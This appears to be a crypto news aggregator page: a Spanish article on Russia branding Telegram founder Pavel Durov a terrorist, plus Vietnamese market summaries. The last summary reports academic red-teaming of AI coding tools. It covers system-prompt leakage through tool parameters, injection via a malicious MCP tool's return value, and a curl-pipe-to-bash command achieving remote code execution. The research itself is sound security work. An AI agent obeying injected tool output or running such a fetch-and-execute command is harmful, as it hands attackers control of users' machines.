Pavel Durov de Telegram responde a la designación de terrorista por parte de Rusia

cointelegraphXuất bản vào 2026-07-30Cập nhật gần nhất vào 2026-07-30

Tóm tắt

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" tras rechazar sus demandas de vigilancia masiva y censura en la plataforma. Rusia lo acusó de facilitar actividades terroristas al no eliminar canales utilizados por grupos extremistas y servicios de inteligencia ucranianos. Este caso ruso se suma a los desafíos legales de Durov en el extranjero. Fue arrestado en Francia en 2024 por presuntamente no moderar adecuadamente contenido ilegal, aunque fue liberado bajo restricciones más tarde. Telegram también enfrenta procedimientos legales en Australia por contenido terrorista. Durov se presenta como defensor de la libertad de expresión y la privacidad digital, criticando propuestas de verificación de edad en la UE y negándose a conceder a los gobiernos acceso a mensajes privados de usuarios.

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" después de que se negara a cumplir con las demandas gubernamentales de vigilancia masiva y censura en la plataforma de mensajería. Su respuesta pública llegó un día después de que Rusia anunciara cargos en su contra.

En una publicación en Telegram este jueves, Durov también dijo que Rusia le había prohibido "publicar información en Internet", y añadió que las autoridades "se habían confundido sobre quién puede prohibir a quién en Internet".

Fuente: Telegram, Pavel Durov

Estos comentarios llegaron un día después de que el Servicio Federal de Seguridad de Rusia acusara a Durov de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

El caso se basa en una investigación criminal iniciada por Rusia en febrero, cuando los reguladores acusaron a Telegram de mantener en línea cerca de 155.000 canales, chats y bots, a pesar de afirmar que violaban las leyes rusas sobre contenido extremista, terrorismo, tráfico de drogas y otras actividades ilícitas.

Relacionado: Pavel Durov dice que Telegram lanzará una billetera cripto Gram nativa

Las batallas legales de Durov se extienden más allá de Rusia

El caso ruso se suma a los desafíos legales de Durov en el extranjero. Durov fue arrestado en Francia en agosto de 2024 y sigue bajo investigación judicial por acusaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente el contenido ilegal ni responder a las solicitudes de las fuerzas del orden.

Durov ha negado cualquier acto ilícito, argumentando que las autoridades francesas no siguieron el debido proceso al solicitar información a Telegram. Su arresto también impulsó una campaña respaldada por la Comunidad TON que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Las autoridades francesas inicialmente permitieron que Durov regresara temporalmente a Dubái en marzo de 2025, antes de levantar por completo sus restricciones de viaje a finales de ese año.

Telegram también enfrenta nuevas presiones legales en Australia, donde los reguladores iniciaron esta semana procedimientos judiciales alegando que la plataforma no eliminó contenido relacionado con el terrorismo.

Durov se ha presentado a sí mismo como un defensor de la libertad de expresión y la privacidad digital. En abril, advirtió que la aplicación de verificación de edad propuesta por la Unión Europea podría allanar el camino para una vigilancia en línea más amplia. Ese mismo mes, culpó a supuestas filtraciones de datos fiscales por una ola de secuestros relacionados con criptomonedas en Francia y dijo que Telegram abandonaría el país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Revista: Una hoja de ruta cuántica impulsaría mucho más a Bitcoin: Charles Edwards


Câu hỏi Liên quan

Q¿Qué dijo Pavel Durov que llevó a las autoridades rusas a designarlo como 'terrorista'?

ADijo que la designación ocurrió después de que se negó a las exigencias gubernamentales de vigilancia masiva y censura en la plataforma de mensajería Telegram.

Q¿Qué acusación específica hizo el Servicio Federal de Seguridad de Rusia contra Durov y Telegram?

ALos acusó de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

Q¿Qué otros desafíos legales importantes enfrenta Pavel Durov fuera de Rusia, según el artículo?

AFue arrestado en Francia en agosto de 2024 bajo investigación judicial por alegaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente contenido ilegal. También enfrenta procedimientos legales en Australia por no eliminar contenido relacionado con el terrorismo.

Q¿Cómo se ha posicionado Pavel Durov públicamente en relación con la libertad de expresión y la privacidad digital?

ASe ha presentado como un defensor de la libertad de expresión y la privacidad digital, advirtiendo contra propuestas de vigilancia en línea y afirmando que Telegram preferiría abandonar un país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Q¿Qué acción tomó la comunidad TON en apoyo a Durov durante su situación legal en Francia?

ARespaldó una campaña que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Nội dung Liên quan

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

Kho dự trữ bitcoin của công ty MicroStrategy do Michael Saylor đứng đầu đã thoát khỏi tình trạng lỗ nhờ đà tăng giá của tiền mã hóa. Lợi nhuận chưa thực hiện từ khoản đầu tư này đã vượt quá 1 tỷ USD. Vào ngày 21 tháng 8, giá Bitcoin ($BTC) lần đầu tiên tăng vọt trên 76.000 USD kể từ cuối tháng Năm, với mức tăng 21% trong tuần. Tính đến 10:45 giờ Moscow, Bitcoin được giao dịch quanh mức 76.700 USD. MicroStrategy sở hữu 840.447 BTC với giá mua trung bình là 75.385 USD. Từ năm 2020, công ty đã chi 63,36 tỷ USD để tích lũy số bitcoin này. Với giá hiện tại, tổng giá trị kho dự trữ đã đạt 64,46 tỷ USD, vượt quá chi phí đầu tư khoảng 1,1 tỷ USD. Sự thay đổi mạnh mẽ này diễn ra chưa đầy một tháng sau khi MicroStrategy báo cáo khoản lỗ 8,2 tỷ USD trong quý II, chủ yếu do tổn thất chưa thực hiện từ khoản đầu tư vào Bitcoin (khi đó giá vào khoảng 60.000 USD cuối tháng Sáu). Để duy trì ổn định tài chính, công ty đã phải bán một phần bitcoin và tăng cường dự trữ USD. Tuy nhiên, đầu tháng Tám, CEO Phong Le tuyên bố công ty sẽ tiếp tục tích lũy tiền mã hóa vào cuối năm nay.

cryptonews.ru7 phút trước

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

cryptonews.ru7 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

Khung phát hành token hóa tài sản thực (RWA) đang ngày càng trưởng thành, giúp việc đưa tài sản lên chuỗi trở nên nhanh chóng hơn. Tuy nhiên, khi rào cản về "phát hành" giảm xuống, câu hỏi quan trọng hơn là: điều gì sẽ xảy ra sau khi phát hành? Lợi thế cạnh tranh lâu dài không chỉ nằm ở loại tài sản được token hóa, mà còn ở khả năng vận hành bền vững và hồ sơ theo dõi được tích lũy theo thời gian. Bài viết nêu bật khái niệm "Lớp Dự trữ" (Reserve Layer) – cơ sở hạ tầng kết nối tài sản thực chất lượng cao với các hệ thống xác minh, thanh khoản và vận hành cần thiết trên chuỗi. Không phải mọi tài sản đều phù hợp làm tài sản dự trữ. Các tài sản như trái phiếu kho bạc Mỹ ngắn hạn, vàng vật chất có tính xác định giá trị cao, thị trường sâu và tiêu chuẩn hóa tốt. Ngược lại, các tài sản như tín dụng tư nhân phức tạp hơn do tính không đồng nhất. Lợi thế thực sự khó sao chép là hồ sơ vận hành lâu dài được xây dựng thông qua việc thực thi nhất quán: kiểm toán dự trữ độc lập định kỳ, cơ chế mua lại đã được chứng minh, duy trì tính liên tục thị trường, mở rộng tích hợp hệ sinh thái và xây dựng tính thanh khoản. Các bằng chứng này tích lũy theo thời gian, tạo niềm tin cho các tổ chức và củng cố vòng tròn tăng cường: hồ sơ vận hành mạnh hơn dẫn đến phân phối rộng hơn, thanh khoản sâu hơn và tiện ích tài sản thế chấp lớn hơn. Chất lượng tài sản cơ bản và năng lực vận hành của bên phát hành là hai trụ cột không thể thiếu cho sự bền vững. Sự kết hợp của tài sản dự trữ chất lượng cao với năng lực vận hành đã được chứng minh sẽ tạo nền tảng vững chắc nhất. Trong khi đó, ngay cả những tài sản chất lượng cao cũng có thể tiềm ẩn rủi ro nếu cơ sở hạ tầng vận hành phía sau chưa được kiểm chứng qua thời gian và các điều kiện thị trường khác nhau. Tóm lại, một thập kỷ sau, những dự án RWA vẫn giữ được niềm tin của thị trường và tiếp tục hoạt động sẽ là những người kết hợp thành công tài sản dự trữ chất lượng cao với kỷ luật vận hành lâu dài, biến chúng thành cơ sở hạ tầng đáng tin cậy cho tài chính trên chuỗi.

marsbit9 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

marsbit9 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

**Artemis: Tại sao chúng tôi lạc quan về Circle?** Thị trường hiện đang định giá thấp Circle (CRCL) do lo ngại về Open Standard - một liên minh 140+ công ty (gồm Stripe, Visa, Mastercard, Google) phát hành stablecoin OUSD, đe dọa vị thế của USDC. Tuy nhiên, quan điểm của Artemis là thị trường đang nhầm lẫn. Ba luận điểm cốt lõi: 1. **Tăng trưởng ổn định:** Stablecoin dự kiến đạt quy mô **1 nghìn tỷ USD vào năm 2030** (tăng trưởng kép hàng năm ~40%), và đã tách biệt khỏi chu kỳ giá crypto. 2. **Hiệu ứng mạng và tính thanh khoản:** Thị trường có xu hướng "kẻ thắng hưởng tất". USDC và Tether hiện nắm hơn **80% thị phần**, xây dựng rào cản cực kỳ khó vượt qua về thanh khoản xuyên chuỗi và ứng dụng. Các liên minh như Open Standard khó thành công do thiếu động lực và quản trị đồng thuận. 3. **Định giá sai lầm:** Thị trường xem Circle chỉ là "nhà phát hành stablecoin" phụ thuộc vào lãi suất, trong khi thực chất họ đang xây dựng một **nền tảng tiền tệ toàn diện (full-stack money platform)** với các sản phẩm như Mạng Thanh toán Circle (Circle Payments Network - giao dịch tăng 6.8 lần/năm) và blockchain Arc. Khi Circle đa dạng hóa doanh thu từ phí giao dịch và blockchain, định giá (P/S) hiện tại ~6.7x được kỳ vọng mở rộng lên ~10x. Với kịch bản ổn định, doanh thu Circle có thể đạt ~5 tỷ USD vào năm 2030, dẫn đến định giá vốn hóa tiềm năng **~50 tỷ USD**. Mức giá hiện tại sau cú sốc Open Standard có thể đang tạo ra chênh lệch kỳ vọng lớn nhất.

marsbit10 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

marsbit10 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit14 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit14 phút trước

Giao dịch

Giao ngay
活动图片